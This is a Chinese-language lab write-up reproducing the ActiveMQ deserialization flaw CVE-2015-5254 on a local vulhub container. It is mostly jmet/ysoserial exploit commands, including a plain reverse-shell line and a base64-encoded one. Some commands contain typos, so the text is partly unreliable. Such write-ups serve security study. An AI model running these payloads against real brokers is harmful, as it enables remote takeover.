ActiveMq反序列化漏洞(CVE-2015-5254)漏洞复现
漏洞原理
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage
对象利用该漏洞执行任意代码。
环境准备
kali vulhub集成一键搭建,
docker-compose up -d
kali 靶机ip:192.168.177.137
环境运行成功后后,将监听61616和8161两个端口,其中61616是工作端口,消息在这个端口进行传递; 8161是网络管理页面端口,Web访问:http://your-ip:8161即可看到网络管理页面。
ActiveMq默认登录账号密码:admin admin
工具下载
https://github.com/matthiaskaiser/jmet/releases
漏洞复现
创建文件
Jmet原理是使用ysoserial生成payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
执行命令:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.177.1 37 61616
查看http://192.168.177.137:8161/admin/browse.jsp?JMSDestination=event 可以看到该队列信息,点击这条消息可以出发命令执行
验证发现无法在tmp下创建文件,使用命令直接在根目录创建文件:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch li" -Yp ROME 192.168.177.137 61616
进入目录查看文件,创建成功:
docker exec -it cve-2015-5254_activemq_1 /bin/bash
反弹shell
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tvp/192.168.177.128/4444>&1 " -Yp ROME 192.168.177.137 61616
需要进行base64编码进行绕过才可以执行:
bash -c {echo,payload-base64编码}|{base64,-d}|{bash,-i}
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Ny4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.177.137 61616
漏洞修复
官网修复补丁
参考文献
https://www.cnblogs.com/backlion/p/9970516.html
https://www.jianshu.com/p/d2b7e0e75941
https://blog.csdn.net/nz9611/article/details/96206386